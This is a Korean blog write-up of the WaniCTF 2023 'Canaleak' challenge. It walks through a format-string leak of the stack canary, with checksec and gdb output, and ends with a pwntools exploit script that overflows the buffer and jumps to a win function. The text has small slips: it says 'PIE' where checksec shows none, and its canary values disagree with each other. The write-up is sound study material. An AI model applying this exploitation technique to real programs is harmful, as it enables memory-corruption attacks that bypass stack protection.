[WaniCTF 2023] Canaleak

2025. 12. 15. 23:43·CTF Writeup

 

옛날 문제 정리..

 

$./checksec-1.6/checksec --file ./chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   ./chall

 

뭐,, 문제 이름 상, canary found말고는 흥미로운게 없다. PIE라 win code 호출가능

 

You can't overwrite return address if canary is enabled.
Do you agree with me? : %6$p

Breakpoint 3, 0x00000000004012b0 in main ()
(gdb) x/10gx $rsp
0x7fffffffddb0: 0x0000000070243625      0x0000000000401110
0x7fffffffddc0: 0x00007fffffffdeb0      0x8db29cf5a8952900
0x7fffffffddd0: 0x0000000000401300      0x00007ffff7821c87
0x7fffffffdde0: 0x0000000000000001      0x00007fffffffdeb8
0x7fffffffddf0: 0x000000010000c000      0x0000000000401254
(gdb) x/s 0x7fffffffddb0
0x7fffffffddb0: "%6$p"
(gdb) c
Continuing.
0x70243625

 

 

x86_64sysv abi상 calling convetion이 < rdi, rsi, rdx, rcx, r8, r9, stack > 임 (x86_64 syscall 규정과 다름.)

 

printf(format)같은 경우  %num$p 표기법에서 num이 rsi부터 1을 의미하기 때문에 %6$p 번 부터 stack을 가르키게됨

 

딱 봐도 0x30f02af4d2f18e00  이게 까나리처럼 보이지만,

 

정확하게 알려면 "mov    rax,QWORD PTR fs:0x28" 이 rax를 어디에 저장하는지 보면 canary 위치알 수 있음

 

0x30f02af4d2f18e00 이 카나리 이거 릭해서, 익스 짜면됨

 

이게 카나리가 또 사실상 낮은 주소상으로 0x00 0x8e 0f1 ... 식으로 저장되어 있어서 현재 문제에서는 그렇지 않지만, 0x00만 살짝덮어서 leak할 수 도 있겠다라는 생각이 들었음

 

 

 

 

더보기

from pwn import *

win=p64(0x401245)

pc = process('./a.out')
print(pc.recvuntil(': '))
pc.sendline(b"%9$p")
canary=int(pc.recvuntil(b"\n")[:-1],16)
log.info('Canary : '+hex(canary))
pc.sendline(b'A'*24+p64(canary)+p64(0)+win)
#gdb.attach(pc,'b *0x4012e8')
pc.sendline(b'YES')
pc.interactive()

 

'CTF Writeup' 카테고리의 다른 글

시스템 해킹 기본 정리  (0) 2025.06.19
[DreamHack] SROP  (0) 2025.01.11
'CTF Writeup' 카테고리의 다른 글
  • 시스템 해킹 기본 정리
  • [DreamHack] SROP
zeroone-kr
zeroone-kr
  • zeroone-kr
    What is the target?
    zeroone-kr
  • 공지사항

    • 게시된 정보를 악용하여 발생하는 모든 책임은 악용한 사용자⋯
  • 전체
    오늘
    어제
    • 분류 전체보기 (38)
      • Security Engineering (4)
        • RedTeam (7)
        • Web, Mobile Security (7)
        • System Security (4)
        • Embedded Security (0)
      • Security Research (4)
        • Fuzzing (1)
        • Program analysis (0)
        • Embedded Security (3)
        • Artificial Intelligence (0)
      • Background (0)
        • Development (5)
        • Algorithm (2)
        • SQL (0)
      • Book (1)
      • CTF Writeup (3)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

    • About Me
    • emfp (study member)
    • 학식
  • 인기 글

  • 태그

    SVF
    Embedded
    codeql
    HardwareHacking
    wanictf
    Greedy
    EmbeddedHacknig
    burp
    WebHacking
    CTF
    rehosting
    Static Analysis
    Fuzzing
    angr
    llvm
    sysprog
    byteordering
    VCS
    Command Injection
    srop
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
zeroone-kr
[WaniCTF 2023] Canaleak
상단으로

티스토리툴바